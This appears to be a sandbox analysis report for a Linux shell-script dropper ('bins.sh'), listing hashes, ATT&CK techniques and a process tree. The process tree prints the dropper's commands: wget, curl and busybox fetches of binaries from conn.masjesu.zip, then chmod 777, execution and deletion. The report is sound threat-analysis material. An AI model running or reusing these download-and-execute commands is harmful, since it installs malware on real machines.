68542373ab9f41042ce0859952b5e7466b60624a417b1da7968230cad9001617

Analysis

max time kernel
150s
max time network
45s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
26/10/2024, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241026-vdepdstpfp
SHA256 68542373ab9f41042ce0859952b5e7466b60624a417b1da7968230cad9001617
MD5 cd798da264eea2cb34f14ab849c4c0e3
SHA1 f8107efcd9299b6364ce3648717b2ecc577cc05a
SHA512 886db5cb7ff8566ea8507ce0cb56df8dc2dd51d8a5e7ac27a67d2a19da607232b90918a184ceb91dafc01fdecdfa552185580c40db363b5fa153849afda32cdc
SSDEEP 192:G3T4hJ8AQ4mPmfmympmFm8/bfTUJhdWA3T4hJFfTUJh3mPmfmympmFm8o:uAQJeO3kY8/YW9eO3kY8o
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
698	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw	700	xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
682	curl
696	busybox
703	wget
705	curl
676	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:667
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:672
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - System Network Configuration Discovery
  PID:676
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:682
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - System Network Configuration Discovery
  PID:696
- /bin/chmod
  chmod 777 xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  ./xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - Executes dropped EXE
  PID:700
- /bin/rm
  rm xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  PID:702
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  - System Network Configuration Discovery
  PID:703
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:705

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw

Path /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
Size 95KB
SHA256 adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b
MD5 c20c610e14b8e59f5f8258a55fe7f27d
SHA1 e59a0b83d9882f2770f052a213cad25b0cbd53fc
SHA512 dd8d992edcb5e4dae5e97a1ad12c28560a2cda02dcc1867250de78b0fe0d0f511b7269cb4999c80d6d299b87145bcef5b1587730b496426f14550b6f7a0a59a2
SSDEEP 1536:dcv6zPYAm0kh6azhyTC9yfbh1+V+LeDdfCJCW9k3Z8ppk+9WGFFc2mHxZ8XoL5lV:dcmKfzhyTWy11A+LeDdECW6ZkI2mRZ8i
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads